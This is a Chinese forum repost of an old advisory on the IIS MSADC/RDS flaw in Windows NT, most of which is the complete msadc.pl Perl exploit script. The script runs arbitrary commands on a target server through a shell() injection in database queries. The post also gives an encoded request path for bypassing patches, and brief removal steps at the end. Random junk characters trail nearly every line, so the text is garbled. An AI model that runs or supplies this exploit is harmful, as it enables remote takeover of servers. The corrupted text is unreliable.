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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) =M{CZm  
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涉及程序: UH&1c8y}  
Microsoft NT server ,xe@G)a  
%aE7id>v6  
描述: (`.qG &6p  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ^1yTL5#:Vw  
<&EO=A  
详细: "|r^l  
如果你没有时间读详细内容的话,就删除: s1 ^mk]  
c:\Program Files\Common Files\System\Msadc\msadcs.dll pjs9b%.  
有关的安全问题就没有了。 c0Ro3j\p  
q=% C (  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 &\ lS  
[piF MxZP  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 hIo S#]  
关于利用ODBC远程漏洞的描述,请参看: Q*&aC|b&  
I+j|'=M  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm fZ~kw*0*  
vp75u93  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 2n;;Tso"  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp !^bB/e  
m<,G:?RM  
这里不再论述。 3et2\wOX1x  
V&j.>Y  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: S]%U]  
Dw/Gha/  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset \R>5F\ 0  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Vt)\[Tl~  
2{]S_. zV  
b|8>eY  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ,#jhKnk2e  
y_4krY|Zx  
#!perl #JR,C -w  
# g6/N\[b%  
# MSADC/RDS 'usage' (aka exploit) script vWi. []  
# s.I1L?s1w?  
# by rain.forest.puppy K9O,7h:x  
# t6g)3F7T  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me %v+fN?%x,d  
# beta test and find errors! ]1|Ql*6y,  
nL(%&z \4  
use Socket; use Getopt::Std; +b,31  
getopts("e:vd:h:XR", \%args); .m]=JC5'  
m`\i+  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; w]Ko/;;^2  
90h1e7ZcC  
if (!defined $args{h} && !defined $args{R}) { :_QAjU  
print qq~ ^Im%D(MY  
Usage: msadc.pl -h <host> { -d <delay> -X -v } uJ/?+5TU  
-h <host> = host you want to scan (ip or domain) 5ih"Nds[H  
-d <seconds> = delay between calls, default 1 second !ga (L3vf  
-X = dump Index Server path table, if available Z(k\J|&9C  
-v = verbose $,QpSK`9i  
-e = external dictionary file for step 5 E4v_2Q -w  
ic0v*Y$  
Or a -R will resume a command session IL>/PuZku  
m~j\?mb{+  
~; exit;} ~Ri u*<  
01{r^ZT`RH  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; R|)2Dg  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} |N=@E,33  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} KIAe36.~  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ldCKSWIi-  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} e9Ul A  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 4j/iG\  
!G"9xrr1  
if (!defined $args{R}){ $ret = &has_msadc; bhqq  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ~ S?-{X+  
(XG[_  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Q+!0)pG5#  
. "cmd /c "; Oa\`;  
$in=<STDIN>; chomp $in; ]zvVY:v  
$command="cmd /c " . $in ; +>!B(j\gx  
4`UL1)A]  
if (defined $args{R}) {&load; exit;} C>:/(O  
T$8@2[  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; csdOIF  
&try_btcustmr; u $% D9Z^  
3?*M{Y|  
print "\nStep 2: Trying to make our own DSN..."; s*)41\V0  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; xf^<ec  
Bd[L6J)  
print "\nStep 3: Trying known DSNs..."; a:-)+sgHw  
&known_dsn; aZawBU.:  
7Js>!KR  
print "\nStep 4: Trying known .mdbs..."; e\A(#l@g  
&known_mdb; I>kiah*  
hM36QOdm  
if (defined $args{e}){ =##s;zj(%  
print "\nStep 5: Trying dictionary of DSN names..."; i (%tHa37  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } gaw4NZd)0  
{KU.  
print "Sorry Charley...maybe next time?\n"; r{q}f)  
exit; Q9yGQu  
_Vo)<--+I  
############################################################################## 'Wf?elB+  
1A?\BJ"  
sub sendraw { # ripped and modded from whisker oxMUW<gYd  
sleep($delay); # it's a DoS on the server! At least on mine... aW=By)S!Y  
my ($pstr)=@_; kh<pLI>$h  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || yWv<A^C &  
die("Socket problems\n"); +w k]iH  
if(connect(S,pack "SnA4x8",2,80,$target)){ h5&/hBN  
select(S); $|=1; pyg!rf-  
print $pstr; my @in=<S>; YH'$_,8peM  
select(STDOUT); close(S); F%PwIB~cy  
return @in; 0HHui7Yy>  
} else { die("Can't connect...\n"); }} uOG-IHuF  
P>{US1t  
############################################################################## 42V,PH6o  
dq YDz  
sub make_header { # make the HTTP request 7>'uj7r]=  
my $msadc=<<EOT e' U"`)S  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 %Le:wC  
User-Agent: ACTIVEDATA UK"}}nO@e  
Host: $ip y^mWG1"O  
Content-Length: $clen jF38kj3O7  
Connection: Keep-Alive c?!YFm  
/lS+J(I  
ADCClientVersion:01.06 kfqpI  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 <2)s<S.;  
yHWi [7$  
--!ADM!ROX!YOUR!WORLD! KMK&[E#r  
Content-Type: application/x-varg ^s^ JzFw  
Content-Length: $reqlen 2gd<8a''  
4pmTicA~  
EOT o%Be0~n'  
; $msadc=~s/\n/\r\n/g; G}!7tU  
return $msadc;} OuOk=  
k]SAJ~bS|  
############################################################################## Lh8bQH  
=ze FK_S!  
sub make_req { # make the RDS request %6NO0 F^  
my ($switch, $p1, $p2)=@_; F>~ xzc  
my $req=""; my $t1, $t2, $query, $dsn; <`R|a *  
\!+-4,CbZY  
if ($switch==1){ # this is the btcustmr.mdb query [ME}Cv`?<E  
$query="Select * from Customers where City=" . make_shell(); IPl@ DH  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .  SwdC,  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} I#|ocz  
10C 2=  
elsif ($switch==2){ # this is general make table query ;YK!EMM4!h  
$query="create table AZZ (B int, C varchar(10))"; Aautih@LX  
$dsn="$p1";} Q'Jv} 'eK_  
Ni2]6U  
elsif ($switch==3){ # this is general exploit table query 9 z5"y|$  
$query="select * from AZZ where C=" . make_shell(); {8^Gs^c c  
$dsn="$p1";} `6a]|7|f  
lpl8h4d  
elsif ($switch==4){ # attempt to hork file info from index server Q7,EY /  
$query="select path from scope()"; xn(+G$m  
$dsn="Provider=MSIDXS;";} b!i`o%Vb  
u.Mqj"o\  
elsif ($switch==5){ # bad query c%|vUAq*  
$query="select"; p+, 1Fi  
$dsn="$p1";} cQ8dc+ {  
UI!6aVL.  
$t1= make_unicode($query); g3|BE2?  
$t2= make_unicode($dsn); v~ ^ks{  
$req = "\x02\x00\x03\x00"; 33Ssylno  
$req.= "\x08\x00" . pack ("S1", length($t1)); #/ OUGeJ  
$req.= "\x00\x00" . $t1 ; |h5kg<Zgo  
$req.= "\x08\x00" . pack ("S1", length($t2)); I3Lg?bZ  
$req.= "\x00\x00" . $t2 ; %mY|  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; CJzm}'NY  
return $req;} }qc#lz  
I"Q#IvNw  
############################################################################## M[ x_#m|  
jja{*PZ6H  
sub make_shell { # this makes the shell() statement JNh=fvO2i  
return "'|shell(\"$command\")|'";} r%0pQEl  
[NYj.#,oR  
############################################################################## '5'3_vM  
No:^hY:F8  
sub make_unicode { # quick little function to convert to unicode )-=2w-ZX  
my ($in)=@_; my $out; mJ)tHv"7  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } TE3*ktB{N  
return $out;} }qer   
rmOQ{2}  
############################################################################## h^}_YaT\  
BjM+0[HC  
sub rdo_success { # checks for RDO return success (this is kludge) LO"_NeuL  
my (@in) = @_; my $base=content_start(@in); B;VH`*+X  
if($in[$base]=~/multipart\/mixed/){ >&bv\R/  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Rr%tbt.sE  
return 0;} 82lr4  
\X&]FZ(*  
############################################################################## @u,+F0Yd  
x+4v s s  
sub make_dsn { # this makes a DSN for us iJ}2"i7M  
my @drives=("c","d","e","f"); m&Lt6_vi  
print "\nMaking DSN: "; F[5S(7M 7  
foreach $drive (@drives) { HtxLMzgz<<  
print "$drive: "; br b[})}  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ya:sW5fk  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" j5kA^MTG  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ^w>&?A'!  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; f2NA=%\  
return 0 if $2 eq "404"; # not found/doesn't exist '<TD6jBs  
if($2 eq "200") { 9oEpPL5  
foreach $line (@results) { |Eb&}m:E$  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} brntE:  
} return 0;} ~%`EeJwT  
gWkjUz )  
############################################################################## |V lMma z  
Sa Cx)8ul0  
sub verify_exists { 'f 3HKn<L  
my ($page)=@_; \I;cZ>{u"}  
my @results=sendraw("GET $page HTTP/1.0\n\n"); XTV0Le\f  
return $results[0];} &`\ep9  
9qEOgJ  
############################################################################## XJUEwX  
b7bSTFZxC  
sub try_btcustmr { bZ/ hgqS  
my @drives=("c","d","e","f"); oew|23Ytb  
my @dirs=("winnt","winnt35","winnt351","win","windows"); <KtBv Ip]  
[a@ B =E  
foreach $dir (@dirs) { ' PELf P8  
print "$dir -> "; # fun status so you can see progress >)LAjwhBp  
foreach $drive (@drives) { u*hH }  
print "$drive: "; # ditto d<#p %$A4  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; QO2Ut!Y  
$reqlenlen=length( "$reqlen" ); 0C]4~F x~  
$clen= 206 + $reqlenlen + $reqlen; o5P&JBX<  
%VWp&a8  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); gt/!~f0r  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} )!A 2>  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} NEMEY7De2  
\7yJ\I  
############################################################################## #pX8{Tf[  
v;Es^ YI  
sub odbc_error { WHP;Neb6  
my (@in)=@_; my $base; RK-x?ZYH'  
my $base = content_start(@in); p'}lN|"{O  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this u#FXW_-TK  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; VgA48qZ  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 0(8gQ 2n  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; DcN"=Y  
return $in[$base+4].$in[$base+5].$in[$base+6];} 'j}g  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ehE-SrkU'  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . -,^WaB7u\  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} uoHqL IpQ  
.U 39nd  
############################################################################## U+} y %3l  
;|!MI'Af  
sub verbose { ugI#ZFjJWE  
my ($in)=@_; UT4f (Xo  
return if !$verbose; P{cos&X|  
print STDOUT "\n$in\n";} 1aq2aLx  
80}4/8  
############################################################################## kbhX?; <`  
x6ahZ  
sub save { 9<l-NU9 _  
my ($p1, $p2, $p3, $p4)=@_; 088C|  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ^>^ \CP]  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; B7!;]'&d  
close OUT;} frc{>u~t  
E67XPvo1+@  
############################################################################## MKC$;>i  
V\AK6U@r^  
sub load { 0~]QIdu{AR  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 'irGvex  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); E_3r[1l  
@p=<IN>; close(IN); /'4Q{8.a  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); EjSD4  
$target= inet_aton($ip) || die("inet_aton problems"); yp p4L|R  
print "Resuming to $ip ..."; 4{Udz!  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 9#Y2`p T  
if($p[1]==1) {  , ]7XMU3  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; J)*8|E9P  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; s`c?:  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); j=W@P-  
if (rdo_success(@results)){print "Success!\n";} C`0%C7  
else { print "failed\n"; verbose(odbc_error(@results));}} |{f~Ks%  
elsif ($p[1]==3){ VjB*{,  
if(run_query("$p[3]")){ kwlC[G$j7  
print "Success!\n";} else { print "failed\n"; }} #V[SQ=>x[  
elsif ($p[1]==4){ | ]# +v@  
if(run_query($drvst . "$p[3]")){ C_G1P)k  
print "Success!\n"; } else { print "failed\n"; }} IY)5.E _  
exit;} SKR;wu  
G#0,CLGN^  
############################################################################## #ZlM?Q  
;& ~929  
sub create_table { X2^_~<I{,  
my ($in)=@_; 6e# wR/  
$reqlen=length( make_req(2,$in,"") ) - 28; Cw#V`70a  
$reqlenlen=length( "$reqlen" ); Lm|al.Z  
$clen= 206 + $reqlenlen + $reqlen; Vv4H:BK$  
my @results=sendraw(make_header() . make_req(2,$in,"")); SA+d&H}Fc  
return 1 if rdo_success(@results); _CE9B e\  
my $temp= odbc_error(@results); verbose($temp); M/#U2!iFk  
return 1 if $temp=~/Table 'AZZ' already exists/; &z>q#'X;.  
return 0;} EwQae(PpA  
:B.G)M\  
############################################################################## fhRjYYGI  
y]'CXCml)  
sub known_dsn { QKccrAo  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go FJwt?3\u5  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 7`fY*O6   
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", @9vvR7{P  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); tOH0IE c  
zMGzReJ  
foreach $dSn (@dsns) { tS<h8g_  
print "."; jDTUXwx7V  
next if (!is_access("DSN=$dSn")); hnzNP\$U]  
if(create_table("DSN=$dSn")){ 3dG4pl~  
print "$dSn successful\n"; %[ Zz0|A  
if(run_query("DSN=$dSn")){ bSrZ{l  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { k[9A,N^lZB  
print "Something's borked. Use verbose next time\n";}}} print "\n";} x=Mm6}/  
s;1e0n  
############################################################################## z0Xa_w=  
m*oc)x7'  
sub is_access { CH;;V3  
my ($in)=@_; tpYa?ZCM  
$reqlen=length( make_req(5,$in,"") ) - 28; DYRE1!  
$reqlenlen=length( "$reqlen" ); A1-qtAO]  
$clen= 206 + $reqlenlen + $reqlen; ZEGd4_ux  
my @results=sendraw(make_header() . make_req(5,$in,"")); 0 d4cE10  
my $temp= odbc_error(@results); 85z;Zt0{  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); cZi[(K  
return 0;} Rd%0\ B  
KlU qoJ;"  
############################################################################## d#\W hRE  
A[H;WKn0  
sub run_query { C9jbv/c  
my ($in)=@_; 0H[LS  
$reqlen=length( make_req(3,$in,"") ) - 28; pjN:&#Y]  
$reqlenlen=length( "$reqlen" ); *Jt8  
$clen= 206 + $reqlenlen + $reqlen; ?9e]   
my @results=sendraw(make_header() . make_req(3,$in,"")); z-@ -O  
return 1 if rdo_success(@results); J+Bdz6lt  
my $temp= odbc_error(@results); verbose($temp); IN^_BKQt  
return 0;} TyOH`5 D  
#DUh(:E'`  
############################################################################## |C D}<r(N  
_M5Xk?e=  
sub known_mdb { 4#:\?HAu!  
my @drives=("c","d","e","f","g"); ~NNv>5 t5  
my @dirs=("winnt","winnt35","winnt351","win","windows"); (WE,dY+.  
my $dir, $drive, $mdb; }-p,iTm  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; zu<3^=3  
;'3]{BGcU  
# this is sparse, because I don't know of many $Ha%Gr  
my @sysmdbs=( "\\catroot\\icatalog.mdb", |Q!4GeQL[  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", p)/ p!d[T/  
"\\system32\\certmdb.mdb", N E= w6  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 0x5xLg;Q  
2[up+;%Y  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", A]?^ H<  
"\\cfusion\\cfapps\\forums\\forums_.mdb", `o si"o9  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", XDYosC:  
"\\cfusion\\cfapps\\security\\realm_.mdb", a)9rs\Is{  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 16$y`~c-z  
"\\cfusion\\database\\cfexamples.mdb", V`k8j-*s  
"\\cfusion\\database\\cfsnippets.mdb", r7I B{}>-  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", JD~aUB%  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", &71e5<(dG  
"\\cfusion\\brighttiger\\database\\cleam.mdb", (F8AL6  
"\\cfusion\\database\\smpolicy.mdb", n93zD*;5  
"\\cfusion\\database\cypress.mdb", 6[?}6gQ  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", sX:lE^)-z  
"\\website\\cgi-win\\dbsample.mdb", XnXb&@Y  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", !Iq{ 5:  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Wsm`YLYkt!  
); #these are just bGv4.:)  
foreach $drive (@drives) { p4> ,Fwy2  
foreach $dir (@dirs){ Qb`C)Nh:  
foreach $mdb (@sysmdbs) { -3hCiKq  
print "."; Q)^g3J  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){  .mPg0  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; rkYjq4Z@  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ onl>54M^  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; f0oek{  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Kx6y" {me|  
R8<eN9bJ9  
foreach $drive (@drives) { iV hJH4  
foreach $mdb (@mdbs) { .Z%G@X*  
print "."; >;nS8{2o  
if(create_table($drv . $drive . $dir . $mdb)){ 0H:dv:#WAI  
print "\n" . $drive . $dir . $mdb . " successful\n"; f=I:DkR  
if(run_query($drv . $drive . $dir . $mdb)){ ~O4|KY  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ~L4eZ  
} else { print "Something's borked. Use verbose next time\n"; }}}} D;js.ZF  
} Y\?j0X;  
0ar=cuDm  
############################################################################## |F!F{d^p  
E _iO@  
sub hork_idx { mU G %LM  
print "\nAttempting to dump Index Server tables...\n"; 8QF`,oXQO  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 7GZq|M_:y  
$reqlen=length( make_req(4,"","") ) - 28; Z2p> n`D  
$reqlenlen=length( "$reqlen" ); +t]Xj1Q  
$clen= 206 + $reqlenlen + $reqlen; 8A{6j  
my @results=sendraw2(make_header() . make_req(4,"","")); 7Dt"]o"+  
if (rdo_success(@results)){ !R:y'Y%j  
my $max=@results; my $c; my %d; cZQu*K^j  
for($c=19; $c<$max; $c++){ *gu8-7'  
$results[$c]=~s/\x00//g; RJc%, ]:  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; X+ f9q0  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; rsF:4G"%  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; JBcY!dy-d  
$d{"$1$2"}="";} \6 sQJq  
foreach $c (keys %d){ print "$c\n"; } 2Q ayM?k8  
} else {print "Index server doesn't seem to be installed.\n"; }} e.;M.8N#SQ  
)U(u>SV(\  
############################################################################## ^7u#30,}3~  
L11L23:  
sub dsn_dict { UK3a{O[ 5  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); `WlE| G[  
while(<IN>){ /f3m)pT  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; #`/QOTnm2c  
next if (!is_access("DSN=$dSn")); @{}rG8  
if(create_table("DSN=$dSn")){ 3jPB#%F  
print "$dSn successful\n"; >oqZ !V5[  
if(run_query("DSN=$dSn")){ |9,UaA  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Z> 74.r  
print "Something's borked. Use verbose next time\n";}}} p`>d7S>"  
print "\n"; close(IN);} p&3> `C  
;$;rD0i|  
############################################################################## ]{Ek[Av  
Gvn: c/m;  
sub sendraw2 { # ripped and modded from whisker =|0/Ynfe  
sleep($delay); # it's a DoS on the server! At least on mine... l0`'5>  
my ($pstr)=@_; dS$ji#+d$  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || hTTfJDF  
die("Socket problems\n"); Hsl{rN  
if(connect(S,pack "SnA4x8",2,80,$target)){ HV\"T(8 9  
print "Connected. Getting data"; jo0Pd_W8&  
open(OUT,">raw.out"); my @in; $l"MXxx5I  
select(S); $|=1; print $pstr; ` Zf9$K|  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} BKA]G)G7u!  
close(OUT); select(STDOUT); close(S); return @in; Wz{%"o  
} else { die("Can't connect...\n"); }} $4Y&j}R  
Ab g$W/(|  
############################################################################## W5/};K\.  
0N VI +Z$  
sub content_start { # this will take in the server headers :bv|Ah  
my (@in)=@_; my $c; 76cEKHa<  
for ($c=1;$c<500;$c++) { -+P7:4/  
if($in[$c] =~/^\x0d\x0a/){ .)`-Hkxa  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } F< |c4  
else { return $c+1; }}} ifrq  
return -1;} # it should never get here actually  !!+Da>  
t/ eo]  
############################################################################## rfTe  
XnY"oDg^>  
sub funky { ]) n0MF)p  
my (@in)=@_; my $error=odbc_error(@in); g7Z9F[d  
if($error=~/ADO could not find the specified provider/){ {8:o?LnMW  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ^&m?qKN8  
exit;} .e$%[ )D  
if($error=~/A Handler is required/){ 'w6hW7"L  
print "\nServer has custom handler filters (they most likely are patched)\n"; UE7'B?  
exit;} [q$e6JwAt  
if($error=~/specified Handler has denied Access/){ pqq?*\W&[v  
print "\nServer has custom handler filters (they most likely are patched)\n"; \HG$V>2  
exit;}} s##Ay{  
^ LbGH<#J  
############################################################################## ohplj`X[21  
V{$Sfmey  
sub has_msadc { czS7-Hh@  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); fq(5Lfe}  
my $base=content_start(@results); ITc `]K  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); (H-cDsh;c  
return 0;} {]["6V6W  
*(nJX.7  
######################## 5H!%0LrJg=  
WRM$DA  
\n(ROf^'  
解决方案: ai^t= s  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 8KKz5\kn7  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 @<5Tba>SC  
^$}/|d(  
拿出来充数 哈哈
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